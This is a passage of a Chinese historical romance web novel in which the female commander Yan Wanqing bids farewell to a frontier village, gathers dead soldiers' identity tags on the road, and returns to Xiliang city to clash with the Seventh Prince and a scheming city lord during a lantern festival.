格桑看到逸之这样的细心周到,脸颊上飘过一朵红云。 燕晚清撇开了眼睛,不再看这边。 她也没有拒绝这二人的同行,她会在西凉城驻扎很长一段时间,一直到扫荡倭寇拿回西凉城所有的城镇村子为止。 自己昏迷养伤的这几日,七皇子萧鸿深应该也已经到了西凉城,刚刚他们口中说的贵客应该指的就是他。 “那我们明日便出发吧。”燕晚清直接说道。 “嗯,我去准备马车,你和格桑坐在马车里面过去。”逸之在旁边补充道。 燕晚清皱了皱眉头,下意识的拒绝:“我不需要,我骑马就好,马儿跑得比较快。” “跑再快也是需要一日,坐马车也是需要一日,你的伤还没有好,不要再逞能了。”逸之沉声说道:“年纪看着挺大,可是一点都没有格桑乖巧懂事。” 燕晚清闭嘴,不说话了。 “逸之你怎么可以这样说这位姑娘?”格桑伸出手扯了扯他的衣角,埋怨道:“你这个样子一点都不礼貌。” “哼。”逸之轻哼一声,双手环臂,不再说话了。 格桑看着燕晚清弯着眉眼笑着说道:“这么长时间了,还不知道你叫什么名字呢?身份不能说那名字可以说吗??” 燕晚清勾了勾唇,反正一起到了西凉城,横竖都会知道的。 “燕晚清。”她说出了自己的名字。 格桑捂着唇笑道:“你的名字跟你的人一样美丽。” “谢谢。”燕晚清会以微笑感谢。 很快她便提出了离开,这种不尴不尬的对话,实在是太让她难受了。 回去之后,卓玛说晚上村子里会举办烤羊肉聚会,到时候整个村子的人都会参加,让燕晚清记得过来。 燕晚清心里惦记着村落的建造着,于是欣然答应了。 如果能够和这个建造者聊上几句,到时候把图纸要到,岂不是美得很? 到了晚上,燕晚清随手用簪子将自己的长发给挽了起来,她只会最简单的男子发髻,女子的平日里都是有从歌弄的,但是行军打仗是不能带婢女搞特殊对待的。 她穿着卓玛送过来的罗裙,挽了一个男子的束发,看起来有点不伦不类。 不过好在长得好看,哪怕套麻袋都好看。 到了晚上,街道两旁的屋檐上都点亮了灯火。 燕晚清缓缓踱步在路上,看着孩童点燃的启明灯缓缓升上空中,这一刻她的心里十分的安逸。 “你是外乡人?”后面传来一道轻柔的声音。 燕晚清转过身去,看到了一个坐在轮椅上的男子,他五官端正,唇红齿白,生的极其的俊美,此刻正温柔的看向自己。 见状燕晚清点了点头,将身上的披风裹紧了一些:“前些时日多亏了这里的人,我才能够苟活于世。” 轮椅上的男子轻笑:“看来你在外面的日子过得不是很舒服。” “怎么说?”燕晚清挑眉问道。 男子笑道:“你身上的戾气挺重的。” 燕晚清愣了一下,片刻之后莞尔点头:“确实,你看人挺准的,也是这里的村民吗?” 男子环顾周围的喧闹:“算……是吧。” “这里的村民都生活的很快乐,挺羡慕的。”燕晚清由衷的说道。 男子点头:“这倒是的,没有烦恼,自然会顺遂快乐,这也是为什么这里叫做幸福村的原因。” “我还是第一次知道这个村子的名字。”幸福村,名不虚传。 男子见燕晚清双眼像是小鹿一样清澈透明,可是眸底深处总是有一缕忧思:“你是个有故事的人吧。” “谁都有故事,你不也是么?”燕晚清看向男子。 男子莞尔:“本以为你挺温柔的,没想到牙尖嘴利,不过你说的也是实话,我这副样子,谁看都知道我有个刻骨铭心的故事。” 第一百九十五章 人和人,简单而真诚 男子十分的健谈,为人谈吐,学识渊博,跟燕晚清聊起来,上知天文下知地理,交流完全没有障碍,这让燕晚清对其十分的好奇。 可惜的是,卓玛找了过来。 她过来先是看见了男子,给他行了个礼,然后便直接看向了燕晚清:“格桑一直在找你,马上就要开始切羊肉了。” 燕晚清有些歉意的看向男子。 对方很大方的说道:“你的朋友来找你了,你去吧。” 卓玛拉着燕晚清离开,她只能朝着男子挥了挥手。 “跟你聊天很愉快。” 男子唇角擒着一抹微笑看着她们消失在了人群中,他坐在轮椅上,看了看天上的月亮,然后驱动着轮椅转身离开。 另外一边。 燕晚清被卓玛拉到了热闹的人群中,此时硕大的烤全羊被众人围在中间。 旁边歌舞声起,年轻的姑娘正在围着烤全羊跳舞,燕晚清一眼便看见了格桑。 今天的她穿了一身红色的罗裙,像是一团火一样明艳动人。 她在姑娘中显得极其的亮眼,不过她的舞步却始终围绕着一个人在转动。 那人眉眼弯弯的看着格桑,仿佛这个世界上再也容不下除了他们二人之外的其他人任何一人。 真是有够碍眼的。 燕晚清收回了自己的视线。 卓玛在旁边咋舌:“格桑真是的,以后要嫁给城主大人,眼下还和逸之勾搭在一起,这往后城主大人知道,逸之少不了要吃苦头的。” “格桑为什么一定要嫁给城主?”燕晚清不解的问道:“他们郎有情妾有意直接定终身便是了,别人也不好说什么。” “事情不是这么简单的。”卓玛叹了一口气说道:“格桑是圣女,历任圣女都是要嫁给西凉城城主的,无一例外。” “什么圣女?”燕晚清看不出格桑与其他姑娘有什么区别。 “每十年神教的人都要到这个周边选拔年轻美丽的女子,作为圣女,格桑就是新一任的圣女。”卓玛说这个的时候,语气中不知道是同情还是艳羡。 燕晚清从来没有听说过什么神教,更加没有听说过什么神教圣女了。 这一切都与她五官。 格桑如何,嫁给谁,都是她自己的事情。 她只想吃完羊肉之后偶遇一下这个村子的创始人。 如果实在没有这个运气,那就吃完羊肉回去睡觉。 可是格桑却像是知道燕晚清的心思似的,她宛若一只翩跹的蝴蝶转到了燕晚清的身边,不管燕晚清同不同意,直接将她拉进了舞池当中。 燕晚清没有学过舞蹈,非要说会的舞技,也不过是青蛇剑舞了。 格桑笑着扭着腰肢看着燕晚清:“不要拘束,晚清,跳起来!” 燕晚清有些尴尬的摇了摇头说道:“我不会跳舞,你们跳吧。” “你谦虚了,长得这么好看的姑娘,竟然不会跳舞,说出去谁信啊?”格桑拉着她的手不松开。 燕晚清也不能强行甩她的手,这样多少有一点不近人情。 可是她也不想被别人逼着做自己不想做的事情,尤其是众目睽睽之下,她一点都不想跳舞。 燕晚清索性反手抓住了格桑,拉着她柔软的手将她用力甩出去,然后再将她扯回自己的怀中。 她虽然没有跳过舞,但是当年的塞北之行还是看见过很多异域风情的舞娘跳过双人舞。 格桑像是一只柔弱翩跹的蝴蝶,在燕晚清的带动下,不断旋转跳跃,原本单调的单人舞,此刻完全被他们二人所掌控,等到音乐声停,不少人都忍不住为她们二人鼓起了掌。 “好!跳的好!”周围人欢呼着。 格桑红着小脸看着众人,此时燕晚清已经深藏功与名回到了卓玛的身边。 马上就要分发羊肉了。 卓玛看着燕晚清回来,打趣道:“没想到你还会这个呢。” 燕晚清轻笑:“这也没有给我不会的机会。” 格桑虽然是个很轻盈的姑娘,但是多少还是有点重量在身上的,这一场舞跳下来,他的伤口有些地方还是隐隐作痛的。 倘若之前燕晚清觉得格桑再针对她是错觉的话,那么今天晚上她他可以确定了,这个叫格桑的姑娘,对她怀有莫名的敌意。 是因为逸之么? 可是逸之分明对自己爱答不理。 明日去了西凉城之后,他们也不会再有任何交集。 格桑的敌意来的实在是有点莫名其妙了。 “给。”卓玛将分来的羊肉先给燕晚清。 烤的刚刚好,外焦里嫩,咬一口唇齿留香,吃了还想吃。 算得上是她这一个多月吃过最好的饭了。 “好吃吗?”卓玛将自己的那份也给了燕晚清:“那你多吃点。” “你呢?”燕晚清有点不好意思,大概是自己的吃香吓到了卓玛。 卓玛一点也不小气:“两三天村里就要举行一次烧烤宴会,这些烤肉都吃腻了。” “好吧,谢谢你卓玛。” 卓玛神秘兮兮的凑过来:“你要是真想谢我,就跟我说说你和逸之之间是什么情况。” “没情况,救命恩人而已。”燕晚清讪笑道。 “没点事情格桑能这样对你?”卓玛一副你不要欺负我年纪大的表情:“她平日里下巴抬到天上的人,见谁都不爱搭理,可是这几次一直针对你,分明是有点什么情况。” 燕晚清将嘴里的羊肉咽下去,摇了摇头:“确实没有事情。” “好吧。”卓玛没挖掘到有用的信息觉得十分惋惜:“我回去带娃娃了,这会儿娃娃该醒了,你吃完就回去吧,早点休息,明日一早你就要离开了吧。” 燕晚清点点头,她目光依恋的看着卓玛:“我会想你的。” “想念我的洗头手艺?” “你怎么知道的。” “哼,漂亮的女人不可信。”卓玛冷哼道。 燕晚清撇撇嘴:“好了不贫了,我也没有什么东西能送给你的,这个玉佩是我从小就戴在身上的,虽然不是什么稀罕的东西,就给孩子做个见面礼吧。” 燕晚清从脖子上取出一个白色的玉佩,是个小花生的模样。 模样十分的小巧可爱。 玉佩已经被养的通体光泽,看起来就十分的喜人。 只一眼卓玛就喜欢上了。 燕晚清从脖子上摘下来放在卓玛的手上,不容拒绝:“送给孩子的,不是给你的,不许说不要。” “那我就替娃娃谢谢你了。” 燕晚清莞尔:“这还差不多。” 她没想到只是这几日的光景,在幸福村这个地方,她会遇到卓玛这样真诚的人。 她以为人都会像京都里面的人一样,充满了尔虞我诈的斤斤计较。 可是卓玛告诉她不是的,人和人之间还可以这样简单愉快的相处交流。 卓玛走了。 燕晚清也没有心情再留下来。 离开的时候她看到了格桑正在将一块羊肉撕下来塞进逸之的嘴里,逸之的目光恰好在空中与她两两相望。 第一百九十六章 西凉城下,接风洗尘 燕晚清先收回来了自己的目光,然后头也不回的离开了。 格桑顺着逸之的目光看过去,什么都没有看到。 “你在看什么?” 逸之摇了摇头,收回了视线:“没什么,发会儿呆。” “你真可爱,这么大的人还发呆。”格桑笑着说道。 逸之勾了勾唇没说话。 次日清晨。 天光大亮的时候,燕晚清已经洗漱完毕等待出发了。 她重新穿上了自己的战甲,穿上了男装,将发髻高高束起,整个人看起来十分的凌厉和干净。 他们约好了在格桑家门口的小广场上面集合。 燕晚清到的时候,逸之刚好牵着马车过来。 “你醒的很早。”逸之率先开口说道。 燕晚清点了点头,没吭声。 两个人之间便陷入了沉默。 格桑的家里能够听到动静,但是人就是没有出来。 等待格桑的这段时间里,燕晚清抱着长剑靠在马车上假寐,一点都不看逸之,反倒是逸之倒是不停的看向她,用余光打量她。 等到日出在空中画出一半橘黄色的光圈的时候,格桑才终于从门里走了出来。 她今日也是一身红裙的装扮,看得出来精神打扮了,手上和脚上都扣上了叮当作响的铃铛,走一步都是脆生生的铃铛响。 “你们俩都到了啊!”格桑打开门看到他们二人的时候,不好意思的吐吐舌头:“我是不是搞太晚了。” 燕晚清闭着眼睛当没听见。 逸之说道:“没事,现在出发刚刚好。” “嗯!”格桑重重的点头,然后扶着逸之上了马车,她看着站在马车下面的燕晚清提醒道:“晚清你要是困了就上来睡觉,我们要出发啦。” 燕晚清缓缓睁开眼,双眸一片清明,她甚至勾唇笑了笑:“好。”然后翻身上了马车,一点没带犹豫的坐进了马车里。 “那就出发吧。”逸之坐在了车外面赶车,马车背对着照样朝着西凉城进发。 一路上格桑就像是一只活力四射的百灵鸟,不断的唱着歌谣,一会儿坐回马车里跟燕晚清说话,一会儿出去和逸之一起赶马车。 不过更多的时候格桑还是坐在外面陪逸之。 燕晚清求之不得。 她在马车里舒展着四肢,睡了一觉又一觉。 “这里有个死人。”突然格桑惊声说道。 燕晚清睁开眼睛,她先开车帘,外面有个血肉模糊的尸体。 “停车!”燕晚清开口。 格桑疑惑的看着燕晚清从马车上一跃而下,然后走到了尸体旁边翻了翻,捡起来一块牌子,她愣住了:“你在干什么啊,晚清。” 燕晚清认出来这是昨夜帮助自己逃离狼群,以身犯险的老将。 他终究也是没有能够躲过这场祸事。 面对格桑的疑问,燕晚清没有回答。 她将老将的铭牌在掌心里搓揉了一下,擦去了上面的黄沙和尘土,然后小心翼翼的用帕子包好,最后放入了怀中,重新回到了马车上。 这个过程中,她一言不发。 好在格桑不是那么不识时务的姑娘,见燕晚清不想说话,她也就不吭声了。 只有逸之一直在用一种很复杂的目光看燕晚清。 一路上,他们遇见了很多这样的尸体。 每次燕晚清都下去将将士们的铭牌捡回来包好。 她已经捡到了二十个,包含那个临阵脱逃的小兵的。 整整齐齐的二十个翠绿色的玉牌摆放在手帕上。 大渭的每个将士都有一个表明自己身份的玉牌,大概半个巴掌大小,很薄。 他们把这个东西叫做身份铭牌,上面写着将士们的名字,出生年日,还有祖籍。 遇到那些战场上找不齐全的尸首的,他们便会将铭牌捡回去,让将士们的亲人能够将铭牌入土为安。 她的大哥燕黎安就是这样的。 死无全尸。 偌大的棺材里面只放了一个单薄的铭牌,血迹顺着开裂的铭牌渗入进去,在玉牌中染上了血丝。 因为这件事情,后面的路上格桑顾及到燕晚清的情绪也不再哼哼唱唱了。 三个人终于在日落西斜的时候,到了西凉城下。 燕晚清从马车上下来,看着格桑和逸之抱拳说道:“路不相同,就要各奔东西了,往后各自珍重。” 格桑美丽的双眼落在燕晚清身上,她抿唇:“你要走了吗晚清。” “是的。”燕晚清轻笑道。 她还有很重要的事情要去做啊。 “那我们还能见到你吗?”格桑有些不舍的说道。 “我希望你们最好不要遇见我。”燕晚清轻笑道:“后面在遇见我可能真就不是什么好事情了。” 往后她只会出现在战场上,格桑若是在战场上看见了她,还不得吓破胆。 格桑听完有些不开心的低下了头:“我会想你的晚清。” “我也会。”客套话燕晚清还是会说的。 和格桑简单的道别之后,燕晚清的目光和逸之在空中对碰,她用力勾了勾唇角,露出一抹微笑来:“后会有期。” “嗯,后会有期。”逸之哑着嗓子说道。 此处城门口已经有人远远的看见了燕晚清,带着小队一路狂奔朝着这边走来。 燕晚清转过身迎着常千户而去。 格桑和逸之站在马车旁边,看着燕晚清翻身上了马,然后头也不回的离开。 她忍不住说道:“她的身份好像不太一般。” “荒原之上能够让狼王都嘴下留人的姑娘,自然是不一般的。”逸之重新上了马车,他看着格桑说道:“我们先进城找个住的地方,然后晚点带你出来逛逛。” 听到晚上出来逛集市,格桑立马开心起来,重新上了马车后,二人迎着城门缓缓走去。 而此时,燕晚清已经一路骑马,听着常千户跟她的汇报,燕晚清的马终于停在了城主府的门口。 “七皇子和那瑶池县主眼下都在城主府里面,今日西凉城的城主要大摆宴会替他们二人接风洗尘呢。”常千户说道。 燕晚清冷笑一声,从马上一跃而下。 “战事当头,还有心情接风洗尘?”她唇角露出促狭的笑意:“这城主胆量不错。” 她这个大帅还没有亲临,宴会就已经摆上了,就这么急着给萧鸿深和李呈媛拍马屁么? 光是这一件事情,燕晚清已经对西凉城城主印象极差。 第一百九十七章 你当我闲的,讲故事逗乐 燕晚清要进门,常千户突然喊了一声。 “燕帅……” 燕晚清回过头:“嗯?还有什么事情。” 常千户看着燕晚清健全完好的站在自己面前,这么大的一个男人,第一次红了眼圈:“属下,属下以为您已经……那个瑶池县主过来的时候,说您……” 常千户哽咽着说不出口。 听到瑶池县主的话的时候,他们诸多将士都自发的出去寻找,一无所获,许多人都难受的厉害,谁都不相信燕晚清真的就这么死了。 而且是死在狼群的攻击下。 她武功那么高深,自保是完全没有问题的,连瑶池县主那个怀有身孕的人都能够平安的找到西凉城,他们的燕帅怎么可能会死在狼群的攻击下呢?! 常千户是第一个不相信的。 燕晚清看着常千户眼里的血丝,还有进城们之前,城墙上面贴着自己的画像,就知道这几日,他过得有多么的煎熬。 “男儿流血不流泪,快擦擦,这么大的人了,被瞧见了多丢人。”燕晚清打趣道。 常千户赶紧背过身去,用手擦了一下:“属下才没有,只是刚刚沙子进眼睛了。” 燕晚清也不拆穿他,她伸出手重重的拍在了常千户的肩膀上:“本帅已经安全回来了。” 她将自己这几日遭遇的事情都跟常千户说了,听得他攥紧了拳头。 “属下说呢,以燕帅的身法,区区荒原又怎么能够困住您,原来是有人故意谋害!”常千户听到那瑶池县主用簪子刺伤燕晚清的时候,恨不得直接冲进去杀了那个蛇蝎心肠的女的心里才好受。 “想要我生命的人多了去了,也不止她李呈媛一个。”燕晚清安慰道。 她催促着常千户:“快些去通报,就说本帅没死,回来了。” 说这话的时候,燕晚清眼里闪烁着诡谲的光芒,常千户一下来来了劲,他点头兴奋的说道:“好!属下这就去!” 他走在最前面,一路奔跑朝里面。 逢人就喊:“燕帅回来了!燕帅没死!燕帅回来了!” 原本还安静的城主府,瞬间沸腾起来,众将士从原本死寂的状态里活了过来,他们疯狂朝着门口的位置挤过来,看到燕晚清确实好端端的站在门口的时候,都是堂堂七尺的男儿,悉数自发跪在地上。 “我等恭迎燕帅归来——!” 虽然她是女子,可是这一路上她的所作所为都已经深入军心。 这一跪,代表了他们的臣服。 相比战士们的开心,正厅里面的几个人可就不那么安逸了。 尤其是瑶池县主,听到燕晚清没死的消息,手里的茶杯直接摔碎在了地上。 “你怎么了?”萧鸿深蹙眉看她。 李呈媛只觉得脊梁骨发凉。 她不安的摇了摇头:“没什么,可能是孩子闹得,心里有些不舒服。” “嗯,那你去休息吧。”萧鸿深顺势说道。 李呈媛求之不得,赶紧代合丫鬟们离开了。 大厅内只剩下了萧鸿深和西凉城城主。 城主听着外面的欢呼雀跃,轻笑道:“一个女子当的统帅,竟然如此深得军心,实在是罕见。” 萧鸿深看不出什么情绪,他点了点头:“安平郡主向来比较知道怎么去拿捏人心。” 西凉城城主听完没接话。 此时常千户已经到了正厅。 他跪在地上汇报:“七皇子,城主,燕帅回来了!” 萧鸿深眼中闪过不明的情绪,他摆了摆手:“本殿知道了,这么大动静呢,都知道了。” 都知道才好呢。 常千户心里冷笑。 就怕那个瑶池县主不知道。 不过他的面上没有表现出来,依旧毕恭毕敬。 此时燕晚清已经走了进来:“好久不见,别来无恙的七皇子殿下。” 萧鸿深看着燕晚清,今日未见人又瘦削了不少,他冷淡的扫了一眼:“没死就好。” “这不能,该死的人没死,本帅怎么能够先走一步呢。”燕晚清毫不客气的说道。 萧鸿深脸色黑了几分,但是今日很奇怪,他没有再继续说下去了。 旁边的西凉城城主朗声笑道:“卑职见过燕帅,燕帅飒爽英姿,一看便知的是女中豪杰啊。” 燕晚清抬眼扫过去,发现对方坐在轮椅上好看的眉梢上挑一下。 竟然是昨夜跟她相谈甚欢的男子。 看着对方完全装作不认识自己的样子,燕晚清轻哼一声:“城主谬赞。” 有意思。 西凉城真是人才辈出,处处给她惊喜啊。 “听说城主晚上要设宴为咱们接风洗尘啊。”燕晚清哪壶不开提哪壶。 所有人都觉得她死了,但是她现在活着回来了。 所有人里面不包含这个深不可测的瘸子城主。 可能自己的一举一动都在这个城主的眼里。 这个瘸子,得防着。 “这是卑职应该做的,诸位从遥远的京都过来帮助卑职平定叛乱,卑职又怎么能够不备上好酒好菜替诸位接风洗尘呢。” 会说话,有城府的瘸子。 燕晚清不断在心里给面前这个城主更新关键词。 “城主真是周到。”燕晚清夸赞道。 城主笑的像是一只慈祥的猫咪,温柔亲和:“燕帅谬赞了,都是卑职应该做的。” 虚伪,会说话,有城府的瘸子。 燕晚清点点头:“既然这样的话,本帅也有件事情想要麻烦城主帮个忙。” “燕帅尽管吩咐就是。” 燕晚清勾唇笑道:“有个叫幸福村的地方,不知道城主有没有听说过。” 说这话的时候,她笑眯眯的盯着城主,盯着他神态上的每一丝改变。 “这个幸福村是卑职的管辖之地,燕帅想要卑职做什么呢?”城主仿佛是真的第一次见燕晚清,十分自然的询问。 “幸福村的村民救了本帅性命,本帅想要给他们一些赏赐,既然是城主的管辖之地,那么这件事就交给你去做吧,本帅相信你一定会妥善准备好礼物的。”燕晚清直截了当的说道。 “燕帅大难不死必有后福,幸福村的村民搭救有功,自然是要好好赏赐的,燕帅放心,卑职都会处理好的。”城主毕恭毕敬的说道。 滴水不漏的来回对话。 燕晚清对于这位西凉城城主的印象更差了。 想来昨夜这位的搭话也是刻意接近,虽然不清楚他是什么目的,但是对于燕晚清来说多少是有点不舒服的。 萧鸿深坐在旁边喝着茶,冷不防的开口:“好端端的狼群为什么会突然攻击你们?而且还是穷追不舍。” 燕晚清意外他会好奇,反问道:“这件事情,本帅以为七皇子殿下已经从瑶池县主那边听说过事情的完整过程了呢。” “本殿想听你说。”萧鸿深沉着脸说道。 燕晚清毫不掩饰的扯开唇角冷笑道:“恕不奉陪,你当本帅闲的,多得是时间给你讲故事逗你乐是吧。” 萧鸿深怒火中烧:“你!你能不能好好说话!” 第一百九十八章 祈福闹市,少饮酒 “不能。”燕晚清懒懒的回嘴:“虽说是大不敬,但是此时此刻,本帅看见七皇子殿下就十分来气,殿下最好管好你的未婚妻瑶池县主,不要蹦跶到本帅面前,不然本帅一定会——” 她手中的长剑倏地脱离剑鞘,再看见长剑回到剑鞘的时候,正厅里的桌子从中间被正整齐割开,轰然倒地。 燕晚清冷笑道:“本帅会忍不住把她的脑袋跟今天这个桌子一样,割的整整齐齐。” 这无疑就是恐吓了。 萧鸿深蹙眉,拍案而起:“燕晚清你知不知道你到底在说什么,离开京都你就疯魔了不成?” “疯魔?”燕晚清眯着眼睛,她踱步到萧鸿深面前,虽然没有他高,但是气势上面完全不输他。 “疯魔的是本殿,还是另有其人,七皇子殿下这么英明神武,不妨多去调查调查一下,不然的话不要在这里犬吠。” “燕晚清你太嚣张了,当真以为本殿怕了你不成。”萧鸿深手下开始运内力。 燕晚清瞧见了,她讥讽的勾唇,似乎再说你尽管放马过来。 打斗在即。 旁边一直当缩头乌龟的城主突然转着自己的轮椅,挤在了两个人中间:“二位能不能听卑职说一句。” “滚!” “滚!” 燕晚清和萧鸿深同时开口冲着城主。 城主承受着自己不应该承受的一切,有苦难言,他咽了咽口水,再次鼓起勇气说道:“西凉城地处偏僻,很多东西都是孤品,你们二位若是想要打架,能不能出去打?” 燕晚清将目光落在了城主身上。 萧鸿深不敢相信这是一个城主说得出来的话。 城主干咳一声:“肺腑之言,盼君怜惜。” 燕晚清翻了白眼,提着长剑直接甩袖而去。 萧鸿深站在原地,就这么居高临下的看着城主,好半饷从嘴里挤出来一句话:“……本殿好像知道你为什么坐在轮椅上了。” 城主:“……殿下想要听一听卑职的故事么?” 萧鸿深唇角抽搐了一下,他抬脚朝着门外走去。 “好的,卑职知道了,殿下不感兴趣。”城主摸了摸自己的鼻子,偌大的正厅现在就只剩下了他一个人。 他转着轮椅走到了被劈成了两半的桌子面前,颤颤巍巍的伸出手摸了摸光滑的桌面。 “翠花,没有想到你是以这样的方式离开了我,本以为你还能在我身边坚持更久呢……” …… 燕晚清片刻都没有闲着,直接去和常千户盘点了一下眼下的军队还剩下多少人。 “西凉城是最后一道防线,决计不能失守。”燕晚清看着城防图说道:“眼下我们人数不够,只能以守为攻,等到大军到了,到时候就能够主动出击了。” 不过她一向喜欢出其不意,打个对方措手不及。 趁着接下来的时间她需要亲自到周围转转,看看地形状况。 常千户看着燕晚清认真的模样,心里又踏实了不少。 “倭寇人数不多,但是都很会利用地形,他们大多数是骑兵,出来的时候很快,跑的也很快,行踪诡谲,通常烧杀抢掠一个村子之后,迅速消失,绝不原地过夜,这也是为什么西凉城城主迟迟不能抓住他们的原因。” 听着常千户的分析,燕晚清点头:“确实是这个道理,西凉城能够一直守住防线,说明城主还是有点本事在身上。” 经过刚刚的一幕,燕晚清一点都不敢小觑这个瘸子城主。 这样的人,才是最为深藏不露的。 “那么接下来燕帅打算怎么办?”常千户问道。 燕晚清托着下巴,看着地形图:“这里是什么地方?” “是个峡谷。”常千户回答道。 “感觉有点奇怪,让人去探查一下,画清楚这个峡谷的朝向还有临界地方。”燕晚清看着那个峡谷说道。 常千户记了下来。 吩咐各将领继续操练之后,此时已经临近傍晚,城主府的晚宴就要开始了。 燕晚清不是很参加,但是城主派人几次三番的来军营请她,不去实在是有点不给面子。 燕晚清只得回到城主府,简单的换药之后,她穿着男子的长袍出了门。 她不知道萧鸿深究竟是怎么和那李呈媛说的,宴会之上确实是没有看见那张让她厌恶的脸。 不过萧鸿深那张脸也是挺让她恶心难受的。 看着,就想动剑。 “简单的喝酒吃菜实在是有点无趣,卑职还特意准备了其他的节目。”城主笑着说道。 常千户好奇的接过城主的话茬:“城主大人准备了什么节目?” “今夜是一年一度最为热闹的祈福闹市,待会儿在城池上面,能够看到百姓们为了祈福点燃启明灯,万千灯火飞在天空中,才是最为震撼的。” 城主说着众人都有些跃跃欲试。 “这个祈福闹市又是什么意思,是集市么?”常千户问道。 城主笑呵呵的解释道:“祈福顾名思义就是求个心态上的安逸,将自己的心愿写在灯纸,然后再点燃蜡烛,放着灯上天,这样上苍便会收到,就会庇佑求福之人了,每到这个时候,商贩就会聚集在西凉城的街道上,将南来北往的商品售卖,所以这个时候最为热闹的。” “听起来好有意思啊。”常千户忍不住的说道。 燕晚清坐在首位上,看着不少年轻的将士眼中都有期待,她轻笑着摇了摇头。 到底都是些年轻的孩子。 “想去就去,都傻看着本帅干什么。”燕晚清故意板着脸说道。 此时已经酒过三巡,宴会过半,燕晚清也不是那种迂腐喜欢老生常谈的人,她自己都恨不得赶紧回去休憩。 所以在城主说这个祈福闹市的时候,她便顺着梯子给诸位将士放了假。 看着他们开心的出门去,她将手里的酒盏端起来,一饮而尽,然后又倒满。 宴会上已经只剩下三三两两几个人了,萧鸿深刚刚就和诸位将士一起出去了。 临走的时候,看都没有看燕晚清一眼,走的飞快,好像后面有鬼一样。 “燕帅还是少喝点比较好,你身上还有伤,饮酒太多对身体不好。”城主温柔的声音在下方响起。 燕晚清摇晃着酒盏里的酒水,黑白分明的眼睛里有些许讥讽:“既然是为本帅身体担忧,那刚刚又为何为本帅斟酒?” 城主被问住了。 燕晚清轻笑一声:“虚伪。” 她说罢,将酒盏里举起来,往唇边送去。 第一百九十九章 每年看,每年都会被感动 “燕帅少喝点吧。”城主从她手里拿走了酒盏,将边上一碗甜品推到了她的面前:“吃点这个垫垫肚子,外面这么热闹,你也出去看看吧。” 燕晚清笑了。 “城主这是闲的慌?还是酒壮怂人胆,竟然安排起本帅来了。”她实在没有想到这个城主会这么跟自己说话。 城主弯着狐狸眼,笑眯眯的说道:“卑职这都是为了燕帅好。” 燕晚清是被这个大逆不道的城主强行送到了闹市上。 闹市上人来人往,每个人手里都捧着一个祈福灯。 她虚晃着步伐,今夜酒喝的有点多,想找个人少的地方都没有。 最终没辙,她只能跟着人群,人群将她挤到哪里,她就去哪里。 根本意识到人流是朝着河边走的,眼看着燕晚清就要被挤到河里去,一只大手及时抓住了她。 “你喝酒了?和谁喝的?”来人一脸阴沉的开口:“还喝了很多酒。” 燕晚清眯着眼睛看他:“你,你是逸之。” 这是下午刚和她分别的人,燕晚清下意识去寻找格桑的身影。 逸之扶着摇摇晃晃的她,不满的开口:“站好,看看的穿着打扮,男不男女不女的,像什么样子。” 他伸出手想要帮燕晚清摘掉脑袋上的树叶子,却被她猛地拍开手。 燕晚清低着头,上半张脸在阴影中,她说道:“不要你管。” “你说什么?”逸之没有听清楚。 燕晚清抬起头,眼里都是冷光:“我说不要你管,我喝多少酒,跟谁喝酒都跟你没有一丁点关系,不是么?” “你是我的谁?你跟我有半点关系吗?”燕晚清甩开他的手,扭头往前走。 没走两步就被他抓住了手。 力气大的吓人,燕晚清根本挣脱不开。 逸之一路拽着她往前走,左拐右拐最后到了一处小巷子里,外面是川流不息的人流,巷子里却只有他们两个人。 “你把刚刚的话再说一遍,燕晚清。”低沉的声音带着怒火,他看着靠在墙壁上的女子,眼眸深处都是暗流。 燕晚清梗着脖子,她咬住下唇:“你耳朵聋了,说那么大声都听不见,早点找个大夫看看耳朵吧。” “你跟谁喝酒了?”他耐着性子又问了一遍。 燕晚清白眼一翻:“反正不是跟你喝的酒,关你什么事情。” “能不能好好说话?” “说什么?”燕晚清轻笑一声:“你让我说什么?你是逸之,不要忘记自己的身份。” 她丢下这句话,转过身就要离开。 “再怎么说我也是你的救命恩人,你就是这么对待救你一命的人的?”愠怒的男声从身后响起。 燕晚清停住了步伐。 她缓缓转过身,看向黑暗中的他:“……你想要我如何报答你,提出来,能满足的我一定满足。” “……离开西凉城。”他开口说道:“这里很危险。” “做不到。”燕晚清想都不想拒绝道。 她有军令在身,这又不是儿戏,临阵逃走一律当作叛军处理。 “还有什么别的要说的吗?”燕晚清继续盯着他,此时外面依稀传来格桑的声音,她不停的在喊着逸之的名字。 逸之抿着唇:“……你过得好吗?” “如果你要说这个的话,那么我们就没什么好谈的了,毕竟不熟悉,你的格桑来找你了,我在这里不好,再见。”燕晚清深呼吸转过身去离开。 身后的男子看着她的背影,满眼的情愫最终都在眼中寂灭。 燕晚清走进人流之中,掌心似乎还有余温,她伸出手来仔细的看,上面早就不复当初那般柔软细嫩,此刻上面布满了大大小小的伤痕还有执剑出来的茧子。 经过今天晚上逸之的表现,燕晚清已经确定,他就是萧苹风了。 她会先行离开,不让他为难。 她不想看见昔日那个桀骜不驯的太子爷,在格桑面前解释的样子。 “燕帅醒酒了吗?”手腕被人拉住。 燕晚清低头看到了西凉城的城主,此刻的他不似白日那般尊敬。 她蹙眉看向自己被抓住的手腕,然后微微用力挣脱开来:“城主似乎不知道什么叫做男女避嫌。” “我以为此刻我们是朋友。”城主轻笑着驱使着木质的轮椅往前走了两步。 燕晚清看着他的动作,挑眉:“你想的有点多,我和你之间从来都不是朋友关系,有的只是上下级。” “真无情啊。”城主轻叹一声:“那么我的上级,卑职能请你去欣赏一下西凉城特有的美景么?” “没兴趣。”燕晚清抬脚往回走,她现在什么都不想看。 西凉城城主却不打算让她就这么离开:“我一个瘸子,这里这么多人,燕帅忍心让卑职呆在这里吗?” “忍心,你玩的开心玩得愉快,本帅酒喝多了先行一步。” 见燕晚清要走,他轻叹一口气:“哎,本来还想和燕帅聊一聊圣女和神教的事情的,看来燕帅不感兴趣啊。” 下一秒燕晚清的双手放在了轮椅上面:“走,去哪里看美景?” 燕晚清一路推着轮椅上了城池上面,从最高处俯视下面热闹的集市,将万千灯火收归于眼底,确实别有一番滋味。 “说吧。”燕晚清一路推着他上来,费了不少劲,此刻揉着手腕说道。 城主却伸出一根手指放在唇边:“嘘,你看,开始了。” 燕晚清顺着他的目光看过去。 此时河面上已经聚集了很多人,他们纷纷点燃了自己手中的祈福灯,然后慢慢的松开手,一盏盏灯顺着河道往暗蓝色的天际飞去,美不胜收。 燕晚清怔怔的看着天边,眼底倒映着灯火的亮光。 很震撼。 当万千灯火升上天空的时候,她的心口都跟着颤了一下。 似乎一下子找了父兄们宁死也要守卫山河的决心。 “好看吗?”身边人问她。 燕晚清点了点头:“很震撼。” 